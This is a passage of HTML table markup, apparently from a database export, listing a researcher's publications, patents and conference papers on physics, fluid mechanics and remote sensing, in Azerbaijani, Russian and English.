width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>Verildiyi tarix 16.04.2007 (№ a2007 0083). Müsbət nəticə 25.09.2007.</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Klaviatura</p></td><td width=\"102\"><p>(Patent)</p></td><td width=\"84\"><p>H.Q. Həsənov, F.A. Məmmədov, A.F. Məmmədov.,</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>Verildiyi tarix 15.05.2007 (№ a2007 0114). Müsbət nəticə 25.09.2007.</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Mobil rabitə sistemləri əsasında telemetrik terminallar və onların funksional imkanları.</p></td><td width=\"102\"><p>“İnformasiya sistemləri və metodların hərbi dəniz kadrların hazırlanmasında rolu” Elmi-praktiki konfrans</p></td><td width=\"84\"><p>H.Q. Həsənov, А.V. Mardaxayev, А.F. Məmmədova, А.Ş. Xidirov</p></td><td width=\"102\"><p>Bakı</p></td><td width=\"60\"><p>Fevral 2008</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Hərbi dəniz döyüşlərində istifadə olunan ekspert sistemlərin biliklər bazasına riyazi model nəticələrinin daxil edilməsi.</p></td><td width=\"102\"><p>“İnformasiya sistemləri və metodların hərbi dəniz kadrların hazırlanmasında rolu” Elmi-praktiki konfrans</p></td><td width=\"84\"><p>H.Q. Həsənov, F.N. Qırxlarov</p></td><td width=\"102\"><p>Bakı</p></td><td width=\"60\"><p>Fevral 2008</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Külək eneji qurğusu</p></td><td width=\"102\"><p>(Patent)</p></td><td width=\"84\"><p>N.M. Əliyev, H.Q. Həsənov, F.A. Məmmədov.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>Verildiyi tarix 24.01.2008 (№ A2008 0005). Müsbət nəticə 19.02.2008. Patent № U2010 0011</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Использование дополнительных пространственных данных в классификационной процедуре для улучшения качества распознавания данных дистанционного зондирования.</p></td><td width=\"102\"><p>Информация и Космос</p></td><td width=\"84\"><p>Х.Г. Гасанов, Е.М. Гамбарова.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>№2, стр. 53-58.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>An investigation of the design and use of artificial neural networks in the classification of remotely sensed images</p></td><td width=\"102\"><p>Proceed. of the Fifth Intern. Conference “Neural networks and artificial intelligence” ICNNAI</p></td><td width=\"84\"><p>H. Hasanov, T. Suleymanov, E. Gambarova</p></td><td width=\"102\"><p>Minsk, Belarus</p></td><td width=\"60\"><p>27-30 May 2008</p></td><td width=\"60\"><p>pp. 62-64.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Газочувствительный детектор на основе фталоцианина меди.</p></td><td width=\"102\"><p>Материалы Межд. Научно-практич. Семинара “Практика и перспективы развития партнерства в сфере высшей школы</p></td><td width=\"84\"><p>С.С. Сулейманов, Х.Г. Гасанов, Х.С. Алиева, М.Н. Мурщудли, Ф.И. Касимова</p></td><td width=\"102\"><p>Донецк (Украйна)</p></td><td width=\"60\"><p>Июнь 2008</p></td><td width=\"60\"><p>Книга 1, №8, стр. 215-221.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние температурной обработки на индикационные свойства фталоцианина меди.</p></td><td width=\"102\"><p>Материалы 5-ой Межд. Научно-техн. Конференции «Актуальные проблемы физики»</p></td><td width=\"84\"><p>Х.Г. Гасанов, Х.С. Алиева, Т.М. Алиева, С.С. Сулейманов</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>25-27 июня 2008</p></td><td width=\"60\"><p>стр. 327-331</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Investigation of the design and use of artificial neural networks in the classification of remotely sensed images.</p></td><td width=\"102\"><p>Proceed. of the Second Intern. Conference “Problems of Cybernetics and Informatics”</p></td><td width=\"84\"><p>H. Hasanov, T. Suleymanov, E. Gambarova</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>September, 2008</p></td><td width=\"60\"><p>10-12, pp. 171-174.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Three-phase asynchronous motor with axial flux and general mathematical model</p></td><td width=\"102\"><p>Proceed. of the 4th Intern. Confer. on Tech. &amp; Physical Problems in Power Engineering</p></td><td width=\"84\"><p>A. Mammadov, N. Galan, L. Dumitriu, H. Hasanov, M. Iordache, M. Predescu, D. Niculae</p></td><td width=\"102\"><p>Pitesti, Romania</p></td><td width=\"60\"><p>September 2008</p></td><td width=\"60\"><p>pp. II-89―II-93</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Polimer-pirokeramika kompozitlərin və onların komponentlərinin elektrofiziki xassələri arasında əlaqə.</p></td><td width=\"102\"><p>Fizika</p></td><td width=\"84\"><p>H.Q. Həsənov, E.Ə. Kərimov, M.Ə. Qurbanov, S.N. Musayeva</p></td><td width=\"102\"><p>(Fizika İnstitutu)</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>Cild XIV, №2, ss. 60-63.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Training of multilayer perception (MLP) neural classifiers and analysis of classification results of IKONOS satellite imagery</p></td><td width=\"102\"><p>Journal of Space Science and Technology (ISNET)</p></td><td width=\"84\"><p>H.G. Hasanov, A.Y. Gambarov, Y.M. Gambarova.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>vol. II, pp. 10-19.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Применение метода геотехнической диагностики магистральных нефтегазопроводов по материалам аэрокосмического мониторинга</p></td><td width=\"102\"><p>Доклады НАНА</p></td><td width=\"84\"><p>А. Ширинзаде, Х. Гасанов, Р.Рагимов, А. Тимофеев</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>том LXIV, №1, стр. 49-56.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>“Peyk enerji sistemi” - Elektrik enerjinin məsafədən ünvanlı ötürülməsi.</p></td><td width=\"102\"><p>United Nations/Azerbaijan/USA/European Space Agency. Workshop on the Applications of GNSS.</p></td><td width=\"84\"><p>H.Q. Həsənov.</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>11 – 15 May 2009</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Связь между стационарной и нестационарной вязкостью жидкостей</p></td><td width=\"102\"><p>Известия ВТУЗ-ов Азербайджана</p></td><td width=\"84\"><p>Х.Г. Гасанов, Н.А. Салаева</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>№2 (66), стр. 38-39</p></td></tr></tbody></table>  <br></div>'),(1537,960,'en','Hikmat Hasanov','Hikmat Hasanov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>All Authors</strong><strong></strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Получение и электрические свойства PbGa<sub>2</sub>&nbsp;Se<sub>4</sub>.</p></td><td width=\"102\"><p>Тезисы докладов IV Респ. конфер. молодых ученых</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>г.Баку</p></td><td width=\"60\"><p>1988</p></td><td width=\"60\"><p>стр. 167</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Получение, электрические и люминесцентные&nbsp; свойства монокристаллических соедине-ний типа .<strong></strong></p></td><td width=\"102\"><p>Тезисы докладов VII Всесоюз. конферен. \'\'Химия, физика и техни-ческое применение халькогенидов</p></td><td width=\"84\"><p>Тагиев Б. Г., Мусаева С.И., Тагиев О.Б., Гасанов Х.Г. Касимова Г.А., Зейналов Э.З.</p></td><td width=\"102\"><p>г.Ужгород</p></td><td width=\"60\"><p>1988</p><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p>стр. 58<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фотопроводимость в монокристаллах PbGa<sub>2</sub>Se<sub>4</sub>.<strong></strong></p></td><td width=\"102\"><p>Труды координац. совещания соц стран по физическим проблемам оптоэлектроники</p></td><td width=\"84\"><p>Тагиев Б.Г., Асланов Г.К., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>1989</p><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p>29 стр.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фоточувстви-тельный материал.<strong></strong></p></td><td width=\"102\"><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p>Тагиев Б.Г., Аскеров И.М., Айдаев Ф.Ш., Асланов Г.К., Гасанов. Х.Г.</p></td><td width=\"102\"><p>Авторское свидетельство СССР № 1547638</p></td><td width=\"60\"><p>01.11.1989</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фоточувствительный материал</p></td><td width=\"102\"><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p>Тагиев Б.Г., Аскеров И.М., Айдаев Ф.Ш., Асланов Г.К., Гасанов Х.Г. Ахмедов Ф.А.</p></td><td width=\"102\"><p>Авторское свидетельство СССР № 1572358</p></td><td width=\"60\"><p>05.02.1990</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фотоэлектрический измерительный преобразователь.</p></td><td width=\"102\"><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p>Акперов М.М., Аскеров И.М., Керимова Р.А., Алиев И.А., Тагиев Б.Г., Асланов Г.К. Гасанов Х.Г.</p></td><td width=\"102\"><p>Авторское свиде-тельство СССР № 1619973</p></td><td width=\"60\"><p>08.09.1990</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Разрушение сверхпроводимости в вистумовых керамиках магнитным полем.</p></td><td width=\"102\"><p>Препринт № 102 НПО Космических исследований</p></td><td width=\"84\"><p>&nbsp;Алиев С.А., Алиев В.М., Багиров Дж.Н., Исмайлов И.А., Мехтиев А.Ш., Рагимов С.С., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>1992</p><p>&nbsp;</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermoemf and magneto-thermoemf in Bi-Sr-Ca-Cu-O.</p></td><td width=\"102\"><p>Proc. of Intern. conference “ Matter in condensed state”</p></td><td width=\"84\"><p>Алиев С.А., Багиров Дж.Н., Рагимов С.С., Гасанов Х.Г.</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>pp. 69-73<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Superconductivity in systems YаBa<sub>2</sub>&nbsp;Cu<sub>3</sub>&nbsp;O<sub>7-</sub><sub>d</sub>(A - Tu, Nd, Cd).</p></td><td width=\"102\"><p>Proc. of Intern. conference “Matter in condensed state”</p></td><td width=\"84\"><p>Алиев С.А., Алиев В.М., Багиров Дж.Н., Исмайлов И.А., Мехтиев А.Ш., Рагимов С.С., Гасанов Х.Г.</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>рр. 74-77<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Термоэдс и магнитотермо-эдс в системах Bi-Sr-Ca-Cu-O.</p></td><td width=\"102\"><p>Препринт № 357 Института физики АН Азербайджана</p></td><td width=\"84\"><p>Алиев С.А., Багиров Дж.Н., Рагимов С.С., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Новый метод определения давления бурового раствора.</p></td><td width=\"102\"><p>Материалы Научно – практической конференции, посвященной 70 – летию АзНИПИ-нефти</p></td><td width=\"84\"><p>Гасанов Х.Г., Исмайлов Ф.А.</p></td><td width=\"102\"><p>Баку (Азербайджан)</p></td><td width=\"60\"><p>Сентябрь, 1998</p></td><td width=\"60\"><p>стр.72</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Effect of electric fields on liquids viscosity and its using in real transportation system,</p></td><td width=\"102\"><p>Abstract book of Second International Symposium on Mathematical &amp; Computational Application<strong></strong></p></td><td width=\"84\"><p>Hassanov H. G.</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>1999</p></td><td width=\"60\"><p>p. 81</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Geophysical parameters impact upon borehole drilling mud density and hydrostatic pressure.</p></td><td width=\"102\"><p>Journal of Geophysics news in Azerbaijan</p></td><td width=\"84\"><p>Hassanov H. G.&nbsp;</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>№ 2</p><p>рр. 20 - 22<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Движение вязкой жидкости в цилиндрической трубе под действием магнитного поля.</p></td><td width=\"102\"><p>Известия Акад. Наук Азерб. (серия физ. - мат. и тех. наук)</p></td><td width=\"84\"><p>Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>том 20, № 2, стр. 22 - 29</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Новый метод определения скорости распространения акустических волн и коэффициента их поглощения в жидкостях.</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"84\"><p>Гасанов Х. Г., Садигова А. А.&nbsp;</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>№ 1, стр. 92 – 94</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние лазерных лучей на теплофизические свойства жидкостей</p></td><td width=\"102\"><p>Журнал \'\'Бильги\'\' (серия физико-технических наук)</p></td><td width=\"84\"><p>Гасанов Г.Т., Алиев А.А., Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>№ 4, стр. 5 – 8</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Особенности движения жидкости в трубе с электрическими каскадами.</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"84\"><p>Гасанов&nbsp; Х. Г.&nbsp;</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>№ 3 - 4, стр. 148 - 156</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>К теории разделения потока вязкой жидкости электрическим полем.</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"84\"><p>Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>№ 4, стр. 101 - 105</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Применение оптических методов к термодина-мическим задачам</p></td><td width=\"102\"><p>Материалы Второй Республиканской Конференции \'\'Актуальные проблемы&nbsp; физики\'\'</p></td><td width=\"84\"><p>Гасанов Г.Т., Алиев А.А., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку (Азербайджан)</p></td><td width=\"60\"><p>Октябрь, 2001</p></td><td width=\"60\"><p>стр. 105</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние лазерных лучей на динамическую вязкость жидкостей.</p></td><td width=\"102\"><p>Журнал &nbsp;\'\'Бильги\'\' (серия физико-технических наук)</p></td><td width=\"84\"><p>Гасанов Г.Т., Алиев А.А., Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>№ 2, стр. 4 – 7</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Motion of compressible liquids in pipe</p></td><td width=\"102\"><p>Journal of Mathematical &amp; Compu-tational&nbsp; Applications</p></td><td width=\"84\"><p>Hassanov H. G.&nbsp;</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>vol. 6, № 1, pp. 75- 83<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Об одной обратной задаче электротермодинамики</p></td><td width=\"102\"><p>Изв. ВТУЗов Азерб. \'\'Нефть и газ\'\'</p></td><td width=\"84\"><p>Гасанов Х. Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>№ 3 (13), стр. 23 - 26</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О разделении жидких смесей в поле электромагнитной волны.</p></td><td width=\"102\"><p>Журнал \'\'Бильги\'\' (серия физико-технических наук)</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>№ 4, стр. 9 - 14<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Possibility of practical using of electric field in transportation systems</p></td><td width=\"102\"><p>Journal of Mathematical &amp; Computational Application<strong></strong></p></td><td width=\"84\"><p>Hassanov H. G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>vol. 7,&nbsp; № 2, pp. 113 - 121<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Influence of laser radiation on thermophysical and thermodynamic properties of non - transparent liquids.</p></td><td width=\"102\"><p>Proceedings of the First International Conference on Heat Transfer, Fluid Mechanics and Thermodynamics</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>Kruger Park (South Africa)</p></td><td width=\"60\"><p>April, 2002</p></td><td width=\"60\"><p>pp. 237 - 242<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Optimization of drilling mud density by barometric index</p></td><td width=\"102\"><p>Proc. of the Ninth Asian Congress of Fluid Mechanics</p></td><td width=\"84\"><p>Hassanov H. G.</p></td><td width=\"102\"><p>Isfahan, Iran</p></td><td width=\"60\"><p>May 2002</p></td><td width=\"60\"><p>p. 102<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Effect of electric field on liquid viscosity in co – axial cylindrical pipes</p></td><td width=\"102\"><p>Proc. of the Ninth Asian Congress of Fluid Mechanics</p></td><td width=\"84\"><p>Hassanov H. G.</p></td><td width=\"102\"><p>Isfahan, Iran</p></td><td width=\"60\"><p>May 2002</p></td><td width=\"60\"><p>p. 106<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Решение задачи выноса шлама из скважины при&nbsp; бурении.</p></td><td width=\"102\"><p>Изв.&nbsp; Акад.&nbsp; Наук&nbsp; Азерб.&nbsp; Респ. (серия наук о Земле)<strong></strong></p></td><td width=\"84\"><p>Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№ 3, стр. 144 - 146<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Гидродинамические исследования взаимодействия акустических и лазерных излучений с жидкостью</p></td><td width=\"102\"><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку,&nbsp; Ачыг дюнья</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>384 стр.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Heat transfer in a boundary layer of liquid in a cylindrical pipe.</p></td><td width=\"102\"><p>Transactions of National Academy of Sciences of Azerbaijan (series of physical-technical and mathematical sciences)</p></td><td width=\"84\"><p>Gasanov H. G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>vol. XXII, № 1, pp. 230 - 236</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О течении жидкости в упругой трубе с проницаемыми стенками.</p></td><td width=\"102\"><p>Изв. ВТУЗов \'\'Нефть и газ\'\'</p></td><td width=\"84\"><p>Назиев Дж. Я., Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№ 2, стр. 20 - 25</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Hydraulic impact of viscous liquid under thermodynamic expansion.</p></td><td width=\"102\"><p>Proceed. of Institute of Math. and Mech. of Nation. Acad. of Sciences of Azerb.</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>vol. XVII (XXV), pp. 142 - 149</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Новый подход к определению температурной зависимости теплофизических свойств жидкостей.</p></td><td width=\"102\"><p>Научные записки АТУ - фундаментальные науки</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№ 3, стр. 79 - 84</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Релаксация скорости жидкости под действием электри-ческого поля.</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№&nbsp; 4, стр. 80 - 85</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Температурное поле жидкости по сечению цилиндрической трубы под действием лазерного излучения.</p></td><td width=\"102\"><p>Научные записки АТУ - фундаментальные науки</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№ 4, стр. 63 - 67</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние лазерного излучения на гидравлический удар вязкой жидкости.</p></td><td width=\"102\"><p>Журнал \'\' Бильги \'\' (серия физико-технических наук)</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>№ 4, стр. 7 - 11<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Effect of high – frequency electromagnetic fields on thermodynamic properties of heavy – viscous liquids</p></td><td width=\"102\"><p>Proc. of&nbsp; the First Inter. Conf. on Tech. &amp; Phys. Problems in Power Engineering</p></td><td width=\"84\"><p>Hassanov G. T., Hassanov H. G.</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>April&nbsp; 2002</p></td><td width=\"60\"><p>pp. 345 – 349</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>About one inverse problem of electro-thermophysics</p></td><td width=\"102\"><p>Proc. of&nbsp; the First Inter. Conf. on Tech. &amp; Phys. Problems in Power Engineering</p></td><td width=\"84\"><p>Нassanov G. T., Aliyev A. A., Hassanov H. G.</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>April&nbsp; 2002</p></td><td width=\"60\"><p>pp. 350 – 353</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A mathematical model for the separation of viscous liquid flow by magnetic field</p></td><td width=\"102\"><p>Journal of Mathematical &amp; Computational&nbsp; Applications</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>vol. 8, № 1, pp. 13 - 19</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermodynamic effects at interaction between laser beam and heavy viscous liquids.</p></td><td width=\"102\"><p>Journal of Mathematical &amp; Computational&nbsp; Applications</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>vol. 8, № 1, pp. 21 – 26</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние лазерного излучения на коэффициент поверх-ностного натяжения</p></td><td width=\"102\"><p>Научные записки АТУ - фундаментальные науки</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>том II (5), № 1, стр. 87-89</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Некоторые вопросы усовершенствования технологических процессов с помощью тепломассообменных свойств жидкости</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"84\"><p>Гасанов Х. Г.</p></td><td width=\"102\"><p>Баку, Khazar University Press</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>130 стр.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A theory for the separation of liquid mixtures by laser radiation.</p></td><td width=\"102\"><p>Physical Separation in Science and Engineering</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>vol.3, №3, pp. 179-187</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние времени релаксации на распространение акусти-ческой волны в жидкости.</p></td><td width=\"102\"><p>Журнал \'\'Бильги\'\' (серия физико-технических наук)</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>№ 2, стр. 16 - 23</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Применение нелинейных преобразований Лапласа для решения уравнения Навье - Стокса.</p></td><td width=\"102\"><p>Научные записки АТУ - фундаментальные науки</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td 